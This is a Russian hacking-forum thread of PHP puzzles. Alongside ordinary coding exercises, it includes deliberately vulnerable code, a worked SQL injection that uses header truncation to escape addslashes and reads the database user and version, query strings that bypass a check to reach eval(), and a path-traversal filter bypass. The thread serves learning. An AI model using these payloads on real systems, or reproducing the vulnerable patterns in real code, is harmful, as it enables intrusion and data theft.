[PHP] ЗАДАНИЯ от Krist_ALL

Discussion in 'PHP' started by Krist_ALL, 20 Jun 2009.

  1. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    Вот задачка от меня, найдите уязвимость в коде.
    Структура БД:
    PHP:
    <?php

    mysql_connect
    ('localhost''root''secretpassword');
    mysql_select_db('antichat');

    //Обработка переменных
    function Sanitize($data_to_sanitize) {
        
    $data_to_sanitize addslashes($data_to_sanitize);
        
    $data_to_sanitize htmlspecialchars($data_to_sanitize);
        return 
    $data_to_sanitize;
    }


    function 
    Sanitize_Array($value) {
        
    $value is_array($value) ? array_map('Sanitize_Array'$value) : Sanitize($value);
        return 
    $value;
    }

    $_SERVER  array_map('Sanitize_Array'$_SERVER);

    $sql "INSERT INTO stats (ip, useragent, referer)
            VALUES ('"
    .substr($_SERVER['REMOTE_ADDR'],0,16)."', '".substr($_SERVER['HTTP_USER_AGENT'],0,255)."', '".substr($_SERVER['HTTP_REFERER'],0,255)."')";

    mysql_query($sql);
    mysql_close();

    ?>
     
    1 person likes this.
  2. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    (Dm) уже не интересно
    ЗЫ статья +5
     
  3. Osip

    Osip New Member

    Joined:
    20 Jan 2008
    Messages:
    14
    Likes Received:
    4
    Reputations:
    0
    да, последняя банальна..
     
  4. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    Еще более компактный код в ответ на 11 вопрос
    PHP:
     $str='
    383 текст с числами 5838
    635 еще текст 001 462
    432текст564
    '
    ;

    $str=preg_replace("/(\d+)/se","'0x'.strtoupper(dechex(\\1))",$str);

    print 
    $str;
     
    2 people like this.
  5. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    по поводу задания 41:
    get_included_files()
    функция выдаст сначала файл, из которого произошёл вызов, а затем всё что в нём заинклудилось.
    задание 42:
    PHP:
    <?php
    function arr($amt)
    {
    $a=array();
    $tmp=&$a;
    for(
    $i=0;$i<$amt-2;$i++)
    {

            
    $tmp=&$tmp[0];
            
    $tmp[0]=array();
    }
    return 
    $a;
    }
    ?>
    тока в последнем одна проблема - там, почему то предпоследний вложенный массив - ссылка, ну да не суть, вложенность всё равно нужная, и фактически это и есть массив, просто ссылается на место хранения другой переменной)
     
    1 person likes this.
  6. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    PHP:
    <?php 
     $a 
    = (int) $_GET['a'];
    if (
    $_GET['a'] == 1)
    exit;
    elseif(
    $a == 1)
    eval (
    $_GET['b']);
    ?>
    Вывести phpinfo(); всеми способами
     
    _________________________
    2 people like this.
  7. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    если ты эт про мое задание, напиши как выполнить sql инъекцию.
     
  8. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Да очень просто... Я уже один раз встречался с подобным :)

    Юзер-агент ставим:
    Code:
    00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\
    Реферер:
    Code:
    , concat_ws(0x3a,user(),database(),version())) --
    И таким образом в поле "Реферер" запишется юзер, бд, версия. Почему? Да потому что substr() обрезает строку до 255 символов, а у нас она 256 символов - 254 нуля и слешированый слеш, тоесть \\. Ну а дальше по логике запроса идет:

    Code:
    INSERT INTO stats (ip, useragent, referer) 
            
    VALUES 
    
    (
    
    '127.0.0.1', 
    
    '[COLOR=Red][B]000...много нулей...00\',[/B][/COLOR]',
    
     concat_ws(0x3a,user(),database(),version())
    
    )
    
    --')
    ЗЫ: Вот тут была похожая ситуация:
    http://forum.antichat.ru/threadnav134652-1-10.html
     
    1 person likes this.
  9. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    mailbrush, молодец) что выполнил задание... тебе +
     
    2 people like this.
  10. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    Задание 006: просто зайти. Пароль не потребует ;)
     
  11. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    всё :)
     
    1 person likes this.
  12. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Ctacok, не все :)
    Code:
    ?a=1.1&b=phpinfo();
    Code:
    ?a=1e10&b=phpinfo();
    Code:
    ?a[]=1&b=phpinfo();
     
    1 person likes this.
  13. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    многомерный массив
    Code:
    ?a[[[[[[[]]]]]]]=1&b=phpinfo();
     
  14. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    3 новых задания!

    + 042 заменил т.к. оно было похоже на одно из предыдущих.

    Перенес все задания в первый пост.
    Он заполнен.
    Теперь во втором посте буду писать задания.
    Когда и он переполнится, создам новую тему.
    Спасибо всем кто добавляет свои задания.
    УДАЧИ!
     
    1 person likes this.
  15. diGriz

    diGriz Elder - Старейшина

    Joined:
    11 Oct 2006
    Messages:
    138
    Likes Received:
    82
    Reputations:
    6
    Задание 046
    ++$i - префиксный вариант инкремента
    $i++ - постфиксный
    Префиксный оператор вычисляется до присвоения, постфиксный после.
     
    1 person likes this.
  16. diGriz

    diGriz Elder - Старейшина

    Joined:
    11 Oct 2006
    Messages:
    138
    Likes Received:
    82
    Reputations:
    6
    Задание 048
    Узнаем кол-во аргументов, с помощью функции func_num_args()

    PHP:
    <?php
    function cat() 

        
    $numargs func_num_args();
        echo 
    $numargs;
    }  

    cat(1,2,5,8,5,478,8,5);
    ?>
     
  17. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    ВЕРНО.
    048 и 046 правильно сделал.
     
    1 person likes this.
  18. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    50 заданий всего!
    самая большая сборка пхп заданий)
    будем продолжать в том же темпе.
    Напомню:

    Если ты придумал свое задание, не стесняйся , пости, я добавлю во второй пост
    Если ты знаешь как улучшить задания или тебе что-то не нравится, пиши сюда или мне в аську.
     
  19. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    050
    PHP:
    echo count(file($_SERVER['SCRIPT_NAME']))-2;
     
  20. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    Задание 042

    PHP:
    index.php?filename=....//a.php